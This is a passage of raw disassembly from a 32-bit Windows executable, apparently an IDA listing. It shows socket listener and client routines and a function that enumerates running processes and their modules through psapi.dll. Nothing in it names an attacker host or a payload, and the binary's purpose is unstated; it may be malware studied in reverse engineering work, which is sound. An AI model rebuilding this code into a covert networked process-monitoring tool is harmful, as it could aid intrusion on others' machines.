ebx mov [edi+804h], ebx call sub_410850 ; memset add esp, 0Ch call sub_40331D neg eax sbb eax, eax mov [ebp+var_1C], 1 and al, 0FEh mov [ebp+var_24], 5 inc eax inc eax mov [ebp+var_20], eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_0] push ebx call dword_417BB4 ; getaddrinfo test eax, eax jnz loc_40370D push esi mov esi, [ebp+var_4] cmp esi, ebx jz loc_4036FF loc_403675: ; CODE XREF: sub_4035FB+FCj push dword ptr [esi+0Ch] push dword ptr [esi+8] push dword ptr [esi+4] call ds:dword_41122C ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_4036F2 mov eax, [esi+4] cmp eax, 2 jz short loc_403698 cmp eax, 17h jnz short loc_4036F2 loc_403698: ; CODE XREF: sub_4035FB+96j test [ebp+arg_4], 2 jz short loc_4036B9 lea eax, [ebp+arg_0] push 4 push eax push 4 push 0FFFFh push ebx mov [ebp+arg_0], 1 call ds:dword_411218 ; setsockopt loc_4036B9: ; CODE XREF: sub_4035FB+A1j push dword ptr [esi+10h] push dword ptr [esi+18h] push ebx call ds:dword_41121C ; bind cmp eax, 0FFFFFFFFh jz short loc_4036D9 push 32h push ebx call ds:dword_411278 ; listen cmp eax, 0FFFFFFFFh jnz short loc_4036E2 loc_4036D9: ; CODE XREF: sub_4035FB+CEj push ebx call sub_403D49 pop ecx jmp short loc_4036F2 ; --------------------------------------------------------------------------- loc_4036E2: ; CODE XREF: sub_4035FB+DCj mov eax, [edi] mov [edi+eax*4+4], ebx inc dword ptr [edi] cmp dword ptr [edi], 200h jz short loc_4036FD loc_4036F2: ; CODE XREF: sub_4035FB+8Ej ; sub_4035FB+9Bj ... mov esi, [esi+1Ch] test esi, esi jnz loc_403675 loc_4036FD: ; CODE XREF: sub_4035FB+F5j xor ebx, ebx loc_4036FF: ; CODE XREF: sub_4035FB+74j push [ebp+var_4] call dword_417BBC ; freeaddrinfo cmp [edi], ebx pop esi jnz short loc_403718 loc_40370D: ; CODE XREF: sub_4035FB+68j push edi call sub_410832 ; free pop ecx loc_403714: ; CODE XREF: sub_4035FB+19j xor eax, eax jmp short loc_40371A ; --------------------------------------------------------------------------- loc_403718: ; CODE XREF: sub_4035FB+110j mov eax, edi loc_40371A: ; CODE XREF: sub_4035FB+11Bj pop edi pop ebx leave retn sub_4035FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40371E proc near ; CODE XREF: sub_401B81+18Fp ; sub_402EFD+7Dp ... var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 90h and [ebp+var_4], 0 push ebx push esi mov esi, [ebp+arg_0] push edi mov [ebp+var_8], 80h cmp dword ptr [esi], 0 jbe loc_4037C3 lea edi, [esi+4] loc_403744: ; CODE XREF: sub_40371E+A3j lea ebx, [esi+804h] push ebx push dword ptr [edi] call sub_410B58 ; __WSAFDIsSet test eax, eax jz short loc_4037B6 mov edx, [ebx] xor ecx, ecx test edx, edx jbe short loc_40379A mov ebx, [edi] lea eax, [esi+808h] loc_403766: ; CODE XREF: sub_40371E+52j cmp [eax], ebx jz short loc_403774 inc ecx add eax, 4 cmp ecx, edx jb short loc_403766 jmp short loc_40379A ; --------------------------------------------------------------------------- loc_403774: ; CODE XREF: sub_40371E+4Aj dec edx cmp ecx, edx jnb short loc_403794 lea eax, [esi+ecx*4+808h] loc_403780: ; CODE XREF: sub_40371E+74j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [esi+804h] add eax, 4 dec edx cmp ecx, edx jb short loc_403780 loc_403794: ; CODE XREF: sub_40371E+59j dec dword ptr [esi+804h] loc_40379A: ; CODE XREF: sub_40371E+3Ej ; sub_40371E+54j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_90] push eax push dword ptr [edi] call ds:dword_41123C ; accept cmp eax, 0FFFFFFFFh jnz loc_4038DC loc_4037B6: ; CODE XREF: sub_40371E+36j inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [esi] jb short loc_403744 loc_4037C3: ; CODE XREF: sub_40371E+1Dj lea edi, [esi+804h] xor eax, eax cmp [esi], eax mov [ebp+var_4], eax mov [edi], eax jbe short loc_40381F lea ecx, [esi+4] loc_4037D7: ; CODE XREF: sub_40371E+FFj mov edx, [edi] and [ebp+arg_0], 0 test edx, edx jbe short loc_4037F8 lea eax, [esi+808h] loc_4037E7: ; CODE XREF: sub_40371E+D8j mov ebx, [ecx] cmp [eax], ebx jz short loc_4037F8 inc [ebp+arg_0] add eax, 4 cmp [ebp+arg_0], edx jb short loc_4037E7 loc_4037F8: ; CODE XREF: sub_40371E+C1j ; sub_40371E+CDj mov eax, [ebp+arg_0] cmp eax, edx jnz short loc_403812 cmp edx, 200h jnb short loc_403812 mov edx, [ecx] mov [esi+eax*4+808h], edx inc dword ptr [edi] loc_403812: ; CODE XREF: sub_40371E+DFj ; sub_40371E+E7j inc [ebp+var_4] add ecx, 4 mov eax, [ebp+var_4] cmp eax, [esi] jb short loc_4037D7 loc_40381F: ; CODE XREF: sub_40371E+B4j mov eax, [ebp+arg_4] mov ecx, 3E8h xor edx, edx mov ebx, ecx div ebx xor edx, edx xor ebx, ebx mov [ebp+var_10], eax mov eax, [ebp+arg_4] div ecx lea eax, [ebp+var_10] push eax push ebx push ebx push edi push dword ptr [esi] imul edx, 3E8h mov [ebp+var_C], edx call ds:dword_411214 ; select cmp eax, ebx jz loc_4038D9 cmp eax, 0FFFFFFFFh jnz short loc_403862 xor eax, eax jmp short loc_4038DC ; --------------------------------------------------------------------------- loc_403862: ; CODE XREF: sub_40371E+13Ej cmp [esi], ebx mov [ebp+var_4], ebx jbe short loc_4038D9 lea ebx, [esi+4] loc_40386C: ; CODE XREF: sub_40371E+1B9j push edi push dword ptr [ebx] call sub_410B58 ; __WSAFDIsSet test eax, eax jz short loc_4038CC xor ecx, ecx cmp [edi], ecx jbe short loc_4038B4 lea eax, [esi+808h] loc_403884: ; CODE XREF: sub_40371E+172j mov edx, [ebx] cmp [eax], edx jz short loc_403894 inc ecx add eax, 4 cmp ecx, [edi] jb short loc_403884 jmp short loc_4038B4 ; --------------------------------------------------------------------------- loc_403894: ; CODE XREF: sub_40371E+16Aj mov eax, [edi] dec eax cmp ecx, eax jnb short loc_4038B2 lea eax, [esi+ecx*4+808h] loc_4038A2: ; CODE XREF: sub_40371E+192j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [edi] add eax, 4 dec edx cmp ecx, edx jb short loc_4038A2 loc_4038B2: ; CODE XREF: sub_40371E+17Bj dec dword ptr [edi] loc_4038B4: ; CODE XREF: sub_40371E+15Ej ; sub_40371E+174j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_90] push eax push dword ptr [ebx] call ds:dword_41123C ; accept cmp eax, 0FFFFFFFFh jnz short loc_4038DC loc_4038CC: ; CODE XREF: sub_40371E+158j inc [ebp+var_4] add ebx, 4 mov eax, [ebp+var_4] cmp eax, [esi] jb short loc_40386C loc_4038D9: ; CODE XREF: sub_40371E+135j ; sub_40371E+149j or eax, 0FFFFFFFFh loc_4038DC: ; CODE XREF: sub_40371E+92j ; sub_40371E+142j ... pop edi pop esi pop ebx leave retn sub_40371E endp ; =============== S U B R O U T I N E ======================================= sub_4038E1 proc near ; CODE XREF: sub_401B81+FFp ; sub_401B81+2EFp ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi] test eax, eax jbe short loc_403913 lea edi, [esi+4] loc_4038F3: ; CODE XREF: sub_4038E1+30j cmp dword_417B68, 0 jz short loc_403901 cmp eax, 64h ja short loc_403913 loc_403901: ; CODE XREF: sub_4038E1+19j push dword ptr [edi] call sub_403D49 mov eax, [esi] inc ebx add edi, 4 cmp ebx, eax pop ecx jb short loc_4038F3 loc_403913: ; CODE XREF: sub_4038E1+Dj ; sub_4038E1+1Ej and dword ptr [esi+804h], 0 push esi call sub_410832 ; free pop ecx pop edi pop esi pop ebx retn sub_4038E1 endp ; =============== S U B R O U T I N E ======================================= sub_403925 proc near ; CODE XREF: sub_40E18A+149p ; sub_40ED30+32p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] cmp esi, 200h ja short loc_403941 push 1010h call sub_41082C ; malloc test eax, eax pop ecx jnz short loc_403945 loc_403941: ; CODE XREF: sub_403925+Bj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_403945: ; CODE XREF: sub_403925+1Aj and dword ptr [eax+4], 0 mov [eax], esi pop esi retn sub_403925 endp ; =============== S U B R O U T I N E ======================================= sub_40394D proc near ; CODE XREF: sub_40E18A+32Cp ; sub_40ED30+FBp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [eax+4] cmp ecx, [eax] jnz short loc_403965 push [esp+arg_0] call sub_403D49 pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_403965: ; CODE XREF: sub_40394D+9j mov edx, [esp+arg_0] mov [eax+ecx*4+0Ch], edx inc dword ptr [eax+4] mov ecx, [eax+4] xor edx, edx cmp ecx, [eax] setnz dl mov eax, edx retn sub_40394D endp ; =============== S U B R O U T I N E ======================================= sub_40397D proc near ; CODE XREF: sub_40E18A+3D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax push edi mov edx, [esi+4] test edx, edx jbe short loc_4039CF lea ecx, [esi+0Ch] loc_40398F: ; CODE XREF: sub_40397D+20j mov edi, [ecx] cmp edi, [esp+8+arg_0] jz short loc_4039A1 inc eax add ecx, 4 cmp eax, edx jb short loc_40398F jmp short loc_4039CF ; --------------------------------------------------------------------------- loc_4039A1: ; CODE XREF: sub_40397D+18j mov ecx, [esi+8] cmp eax, ecx jb short loc_4039AC dec ecx mov [esi+8], ecx loc_4039AC: ; CODE XREF: sub_40397D+29j mov ecx, eax imul ecx, 3FFFFFFFh add ecx, edx shl ecx, 2 push ecx lea ecx, [esi+eax*4+10h] lea eax, [esi+eax*4+0Ch] push ecx push eax call sub_410838 ; memcpy add esp, 0Ch dec dword ptr [esi+4] loc_4039CF: ; CODE XREF: sub_40397D+Dj ; sub_40397D+22j pop edi pop esi retn sub_40397D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4039D2 proc near ; CODE XREF: sub_40E18A+361p ; sub_40ED30+11Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] push ebx xor ebx, ebx cmp [eax+4], ebx lea ecx, [eax+80Ch] mov [eax+8], ebx mov [ebp+var_4], ebx mov [ecx], ebx jbe short loc_403A41 push esi push edi lea esi, [eax+0Ch] loc_4039F5: ; CODE XREF: sub_4039D2+6Bj mov edi, [ecx] mov [ebp+arg_0], ebx cmp edi, ebx jbe short loc_403A17 lea edx, [eax+810h] loc_403A04: ; CODE XREF: sub_4039D2+41j mov ebx, [esi] cmp [edx], ebx jz short loc_403A15 inc [ebp+arg_0] add edx, 4 cmp [ebp+arg_0], edi jb short loc_403A04 loc_403A15: ; CODE XREF: sub_4039D2+36j xor ebx, ebx loc_403A17: ; CODE XREF: sub_4039D2+2Aj mov edx, [ebp+arg_0] cmp edx, edi jnz short loc_403A31 cmp edi, 200h jnb short loc_403A31 mov edi, [esi] mov [eax+edx*4+810h], edi inc dword ptr [ecx] loc_403A31: ; CODE XREF: sub_4039D2+4Aj ; sub_4039D2+52j inc [ebp+var_4] mov edx, [ebp+var_4] add esi, 4 cmp edx, [eax+4] jb short loc_4039F5 pop edi pop esi loc_403A41: ; CODE XREF: sub_4039D2+1Cj lea eax, [ebp+var_8] mov [ebp+var_8], ebx push eax push ebx push ecx push ebx push ebx mov [ebp+var_4], 3E8h call ds:dword_411214 ; select cmp eax, ebx jz short loc_403A67 cmp eax, 0FFFFFFFFh jz short loc_403A67 push 1 pop eax jmp short loc_403A69 ; --------------------------------------------------------------------------- loc_403A67: ; CODE XREF: sub_4039D2+89j ; sub_4039D2+8Ej xor eax, eax loc_403A69: ; CODE XREF: sub_4039D2+93j pop ebx leave retn sub_4039D2 endp ; =============== S U B R O U T I N E ======================================= sub_403A6C proc near ; CODE XREF: sub_40E18A+372p ; sub_40ED30+133p arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] push edi mov edi, [esi+8] cmp edi, [esi+4] jnb short loc_403A9B lea ebp, [esi+80Ch] lea ebx, [esi+edi*4+0Ch] loc_403A86: ; CODE XREF: sub_403A6C+2Dj push ebp push dword ptr [ebx] call sub_410B58 ; __WSAFDIsSet test eax, eax jnz short loc_403AA2 inc edi add ebx, 4 cmp edi, [esi+4] jb short loc_403A86 loc_403A9B: ; CODE XREF: sub_403A6C+Ej xor eax, eax loc_403A9D: ; CODE XREF: sub_403A6C+40j pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_403AA2: ; CODE XREF: sub_403A6C+24j lea eax, [edi+1] mov [esi+8], eax mov eax, [esi+edi*4+0Ch] jmp short loc_403A9D sub_403A6C endp ; =============== S U B R O U T I N E ======================================= sub_403AAE proc near ; CODE XREF: sub_403AE6+4p ; sub_40E18A+435p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebp, ebp xor ebx, ebx cmp [esi+4], ebp jbe short loc_403AD6 push edi lea edi, [esi+0Ch] loc_403AC2: ; CODE XREF: sub_403AAE+25j push dword ptr [edi] call sub_403D49 mov [edi], ebp inc ebx add edi, 4 cmp ebx, [esi+4] pop ecx jb short loc_403AC2 pop edi loc_403AD6: ; CODE XREF: sub_403AAE+Ej mov [esi+4], ebp mov [esi+8], ebp mov [esi+80Ch], ebp pop esi pop ebp pop ebx retn sub_403AAE endp ; =============== S U B R O U T I N E ======================================= sub_403AE6 proc near ; CODE XREF: sub_40E18A+483p ; sub_40ED30+1C2p arg_0 = dword ptr 4 push [esp+arg_0] call sub_403AAE push [esp+4+arg_0] call sub_410832 ; free pop ecx pop ecx retn sub_403AE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403AFB proc near ; CODE XREF: sub_40DB90+15p ; sub_40E18A+323p ... var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 24h push 20h lea eax, [ebp+var_24] push 0 push eax call sub_410850 ; memset add esp, 0Ch test [ebp+arg_8], 2 jz short loc_403B20 mov [ebp+var_20], 17h jmp short loc_403B2C ; --------------------------------------------------------------------------- loc_403B20: ; CODE XREF: sub_403AFB+1Aj movsx eax, [ebp+arg_8] and eax, 1 shl eax, 1 mov [ebp+var_20], eax loc_403B2C: ; CODE XREF: sub_403AFB+23j test [ebp+arg_8], 4 push 0 pop eax setnz al inc eax mov [ebp+var_1C], eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_417BB4 ; getaddrinfo test eax, eax jz short loc_403B56 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_403B56: ; CODE XREF: sub_403AFB+55j push esi mov esi, [ebp+var_4] push edi loc_403B5B: ; CODE XREF: sub_403AFB+ADj test esi, esi jz short loc_403BAA push dword ptr [esi+0Ch] push dword ptr [esi+8] push dword ptr [esi+4] call ds:dword_41122C ; socket mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_403BA5 push 0 push edi call sub_403402 pop ecx pop ecx push dword ptr [esi+10h] push dword ptr [esi+18h] push edi call ds:dword_411208 ; connect cmp eax, 0FFFFFFFFh jnz short loc_403B9E call ds:dword_411238 ; WSAGetLastError cmp eax, 2733h jz short loc_403BAC loc_403B9E: ; CODE XREF: sub_403AFB+94j push edi call sub_403D49 pop ecx loc_403BA5: ; CODE XREF: sub_403AFB+78j mov esi, [esi+1Ch] jmp short loc_403B5B ; --------------------------------------------------------------------------- loc_403BAA: ; CODE XREF: sub_403AFB+62j xor edi, edi loc_403BAC: ; CODE XREF: sub_403AFB+A1j push [ebp+var_4] call dword_417BBC ; freeaddrinfo mov eax, edi pop edi pop esi leave retn sub_403AFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BBB proc near ; CODE XREF: sub_401985+73p ; sub_402018+1Ap ... var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 82Ch mov eax, [ebp+arg_C] push ebx mov ecx, 3E8h push esi cdq mov esi, ecx xor ebx, ebx idiv esi push 20h push ebx mov [ebp+var_8], eax mov eax, [ebp+arg_C] cdq idiv ecx lea eax, [ebp+var_28] push eax imul edx, 3E8h mov [ebp+var_4], edx call sub_410850 ; memset add esp, 0Ch test [ebp+arg_8], 2 jz short loc_403C05 mov [ebp+var_24], 17h jmp short loc_403C11 ; --------------------------------------------------------------------------- loc_403C05: ; CODE XREF: sub_403BBB+3Fj movsx eax, [ebp+arg_8] and eax, 1 shl eax, 1 mov [ebp+var_24], eax loc_403C11: ; CODE XREF: sub_403BBB+48j test [ebp+arg_8], 4 push 0 pop eax setnz al inc eax mov [ebp+var_20], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_417BB4 ; getaddrinfo test eax, eax jz short loc_403C3E xor eax, eax jmp loc_403D23 ; --------------------------------------------------------------------------- loc_403C3E: ; CODE XREF: sub_403BBB+7Aj mov esi, [ebp+arg_C] push edi loc_403C42: ; CODE XREF: sub_403BBB+149j cmp esi, ebx jz loc_403D15 push dword ptr [esi+0Ch] push dword ptr [esi+8] push dword ptr [esi+4] call ds:dword_41122C ; socket mov edi, eax cmp edi, 0FFFFFFFFh jz loc_403D01 push ebx push edi call sub_403402 pop ecx pop ecx push dword ptr [esi+10h] push dword ptr [esi+18h] push edi call ds:dword_411208 ; connect test eax, eax jz short loc_403C8B call ds:dword_411238 ; WSAGetLastError cmp eax, 2733h jnz short loc_403D01 loc_403C8B: ; CODE XREF: sub_403BBB+C1j lea eax, [ebp+var_8] mov [ebp+var_828], edi push eax lea eax, [ebp+var_82C] push ebx push eax push ebx push ebx mov [ebp+var_82C], 1 call ds:dword_411214 ; select cmp eax, 1 jz short loc_403D09 mov edx, [ebp+var_82C] xor ecx, ecx cmp edx, ebx jbe short loc_403CFA lea eax, [ebp+var_828] loc_403CC6: ; CODE XREF: sub_403BBB+115j cmp [eax], edi jz short loc_403CD4 inc ecx add eax, 4 cmp ecx, edx jb short loc_403CC6 jmp short loc_403CFA ; --------------------------------------------------------------------------- loc_403CD4: ; CODE XREF: sub_403BBB+10Dj dec edx cmp ecx, edx jnb short loc_403CF4 lea eax, [ebp+ecx*4+var_828] loc_403CE0: ; CODE XREF: sub_403BBB+137j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_82C] add eax, 4 dec edx cmp ecx, edx jb short loc_403CE0 loc_403CF4: ; CODE XREF: sub_403BBB+11Cj dec [ebp+var_82C] loc_403CFA: ; CODE XREF: sub_403BBB+103j ; sub_403BBB+117j push edi call sub_403D49 pop ecx loc_403D01: ; CODE XREF: sub_403BBB+A3j ; sub_403BBB+CEj mov esi, [esi+1Ch] jmp loc_403C42 ; --------------------------------------------------------------------------- loc_403D09: ; CODE XREF: sub_403BBB+F7j push 1 push edi call sub_403402 pop ecx pop ecx jmp short loc_403D17 ; --------------------------------------------------------------------------- loc_403D15: ; CODE XREF: sub_403BBB+89j xor edi, edi loc_403D17: ; CODE XREF: sub_403BBB+158j push [ebp+arg_C] call dword_417BBC ; freeaddrinfo mov eax, edi pop edi loc_403D23: ; CODE XREF: sub_403BBB+7Ej pop esi pop ebx leave retn sub_403BBB endp ; =============== S U B R O U T I N E ======================================= sub_403D27 proc near ; CODE XREF: sub_401985+1E0p ; sub_401B81+2E1p ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call ds:dword_411210 ; shutdown push 3E8h call ds:dword_4110A4 ; Sleep push [esp+arg_0] call sub_403D49 pop ecx retn sub_403D27 endp ; =============== S U B R O U T I N E ======================================= sub_403D49 proc near ; CODE XREF: sub_403289+55p ; sub_40331D+15p ... arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_411240 ; closesocket retn sub_403D49 endp ; =============== S U B R O U T I N E ======================================= sub_403D54 proc near ; CODE XREF: sub_401985+110p ; sub_401B81+207p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call ds:dword_411220 ; send retn sub_403D54 endp ; =============== S U B R O U T I N E ======================================= sub_403D69 proc near ; CODE XREF: sub_402EFD+B5p ; sub_403DAD+1Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] cmp esi, 2 push edi jb short loc_403D96 mov edi, [esp+8+arg_4] lea eax, [esi-1] push 0 push eax push edi push [esp+14h+arg_0] call ds:dword_411258 ; recv test eax, eax jz short loc_403DAA cmp eax, 0FFFFFFFFh jz short loc_403DAA cmp eax, esi jb short loc_403DA6 loc_403D96: ; CODE XREF: sub_403D69+9j push 271Eh call ds:dword_411244 ; WSASetLastError or eax, 0FFFFFFFFh jmp short loc_403DAA ; --------------------------------------------------------------------------- loc_403DA6: ; CODE XREF: sub_403D69+2Bj and byte ptr [eax+edi], 0 loc_403DAA: ; CODE XREF: sub_403D69+22j ; sub_403D69+27j ... pop edi pop esi retn sub_403D69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DAD proc near ; CODE XREF: sub_402018+70p ; sub_402018+195p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_C] push [ebp+arg_0] call sub_403DD6 pop ecx test eax, eax pop ecx jnz short loc_403DC3 pop ebp retn ; --------------------------------------------------------------------------- loc_403DC3: ; CODE XREF: sub_403DAD+12j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_403D69 add esp, 0Ch pop ebp retn sub_403DAD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DD6 proc near ; CODE XREF: sub_403DAD+9p ; sub_40AD2B+19p ... var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1010h call sub_4108B0 mov eax, [ebp+arg_4] mov ecx, 3E8h push ebx xor edx, edx mov ebx, ecx push esi div ebx xor edx, edx push edi push 1 mov edi, [ebp+arg_0] pop esi mov [ebp+var_808], edi mov [ebp+var_80C], esi mov [ebp+var_100C], edi mov [ebp+var_1010], esi mov [ebp+var_8], eax mov eax, [ebp+arg_4] div ecx lea eax, [ebp+var_8] push eax lea eax, [ebp+var_1010] push eax lea eax, [ebp+var_80C] push 0 push eax push esi imul edx, 3E8h mov [ebp+var_4], edx call ds:dword_411214 ; select cmp eax, esi jz short loc_403E48 xor eax, eax jmp short loc_403E5B ; --------------------------------------------------------------------------- loc_403E48: ; CODE XREF: sub_403DD6+6Cj lea eax, [ebp+var_80C] push eax push edi call sub_410B58 ; __WSAFDIsSet neg eax sbb eax, eax neg eax loc_403E5B: ; CODE XREF: sub_403DD6+70j pop edi pop esi pop ebx leave retn sub_403DD6 endp ; =============== S U B R O U T I N E ======================================= sub_403E60 proc near ; CODE XREF: sub_4014B0+53p ; sub_4018D5+64p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_4], 0 jnz short loc_403E85 push esi mov esi, [esp+4+arg_0] push 1A3h push 0 push esi call sub_410850 ; memset add esp, 0Ch mov byte ptr [esi+198h], 1 pop esi retn ; --------------------------------------------------------------------------- loc_403E85: ; CODE XREF: sub_403E60+5j push 1A3h push [esp+4+arg_4] push [esp+8+arg_0] call sub_410838 ; memcpy add esp, 0Ch retn sub_403E60 endp ; =============== S U B R O U T I N E ======================================= sub_403E9B proc near ; CODE XREF: seg000:0041060Cp var_8 = dword ptr -8 push edi push offset dword_417FE0 call sub_406AB6 mov [esp+8+var_8], offset aPsapi_dll ; "psapi.dll" call ds:dword_41105C ; LoadLibraryA mov edi, eax test edi, edi jz short loc_403F1B push esi mov esi, ds:dword_411060 push offset aEnumprocesses ; "EnumProcesses" push edi call esi ; GetProcAddress push offset aEnumprocessmod ; "EnumProcessModules" push edi mov dword_417FDC, eax call esi ; GetProcAddress push offset aGetmodulefilen ; "GetModuleFileNameExA" push edi mov dword_417FD0, eax call esi ; GetProcAddress push offset aGetmoduleinfor ; "GetModuleInformation" push edi mov dword_417FD4, eax call esi ; GetProcAddress cmp dword_417FDC, 0 mov dword_417FD8, eax pop esi jz short loc_403F1B cmp dword_417FD0, 0 jz short loc_403F1B cmp dword_417FD4, 0 jz short loc_403F1B test eax, eax jz short loc_403F1B mov byte_417FFC, 1 loc_403F1B: ; CODE XREF: sub_403E9B+1Cj ; sub_403E9B+61j ... pop edi retn sub_403E9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403F1D proc near ; CODE XREF: sub_4011C4+56p ; sub_404143+2Ap var_125 = byte ptr -125h var_124 = byte ptr -124h var_123 = byte ptr -123h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 124h push ebx push esi push edi push offset dword_417FE0 call sub_406AE4 cmp byte_417FFC, 0 pop ecx jnz short loc_403F44 loc_403F3D: ; CODE XREF: sub_403F1D+35j ; sub_403F1D+4Cj ... xor esi, esi jmp loc_404126 ; --------------------------------------------------------------------------- loc_403F44: ; CODE XREF: sub_403F1D+1Ej and [ebp+var_14], 0 push 0 call sub_41082C ; malloc test eax, eax pop ecx jz short loc_403F3D mov esi, 80h push esi mov ebx, esi push eax loc_403F5D: ; CODE XREF: sub_403F1D+6Dj call sub_4108E6 ; realloc pop ecx mov [ebp+var_4], eax test eax, eax pop ecx jz short loc_403F3D lea eax, [ebp+var_14] push eax push ebx push [ebp+var_4] call dword_417FDC test eax, eax jz short loc_403FAA mov edi, [ebp+var_14] cmp edi, ebx jb short loc_403F8C add ebx, esi push ebx push [ebp+var_4] jmp short loc_403F5D ; --------------------------------------------------------------------------- loc_403F8C: ; CODE XREF: sub_403F1D+65j shr edi, 2 mov eax, edi mov [ebp+var_10], edi imul eax, 114h add eax, 8 push eax call sub_41082C ; malloc mov esi, eax pop ecx test esi, esi jnz short loc_403FB5 loc_403FAA: ; CODE XREF: sub_403F1D+5Ej push [ebp+var_4] call sub_410832 ; free pop ecx jmp short loc_403F3D ; --------------------------------------------------------------------------- loc_403FB5: ; CODE XREF: sub_403F1D+8Bj lea eax, [esi+8] mov [esi], edi test edi, edi mov [esi+4], eax jbe short loc_40400A mov eax, [ebp+var_4] xor ebx, ebx mov [ebp+var_8], eax mov [ebp+var_C], edi loc_403FCC: ; CODE XREF: sub_403F1D+E8j mov edi, 114h push edi push 0 push dword ptr [esi+4] call sub_410850 ; memset mov ecx, [ebp+var_8] mov eax, [esi+4] push offset aSystem ; "system" mov ecx, [ecx] mov [ebx+eax], ecx mov eax, [esi+4] lea eax, [ebx+eax+0Ch] push eax call sub_410820 ; _mbscpy add [ebp+var_8], 4 add esp, 14h add ebx, edi dec [ebp+var_C] jnz short loc_403FCC mov edi, [ebp+var_10] loc_40400A: ; CODE XREF: sub_403F1D+A2j push [ebp+var_4] call sub_410832 ; free test edi, edi pop ecx jbe loc_404126 xor ebx, ebx mov [ebp+var_4], edi loc_404020: ; CODE XREF: sub_403F1D+203j mov eax, [esi+4] push dword ptr [ebx+eax] push 0 push 410h call ds:dword_41109C ; OpenProcess mov edi, eax test edi, edi mov [ebp+var_8], edi jz loc_404117 and [ebp+var_10], 0 and [ebp+var_C], 0 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C] push 4 push eax push edi call dword_417FD0 test eax, eax jnz short loc_404063 push edi jmp loc_404111 ; --------------------------------------------------------------------------- loc_404063: ; CODE XREF: sub_403F1D+13Ej lea eax, [ebp+var_20] push 0Ch push eax push [ebp+var_C] push edi call dword_417FD8 mov eax, [esi+4] mov ecx, [ebp+var_20] push 40h lea edi, [ebp+var_123] mov [ebx+eax+4], ecx mov eax, [esi+4] mov ecx, [ebp+var_1C] mov [ebx+eax+8], ecx mov al, byte_417B60 mov [ebp+var_124], al pop ecx xor eax, eax rep stosd stosw stosb mov edi, 104h lea eax, [ebp+var_124] push edi push eax push [ebp+var_20] push [ebp+var_8] call dword_417FD4 test eax, eax jz short loc_40410E cmp [ebp+var_124], 0 jz short loc_40410E lea eax, [ebp+var_124] push edi push eax mov eax, [esi+4] lea eax, [ebx+eax+0Ch] push eax call sub_41083E ; strncpy lea eax, [ebp+var_124] push eax call sub_410826 ; strlen add esp, 10h test eax, eax jz short loc_40410E loc_4040F0: ; CODE XREF: 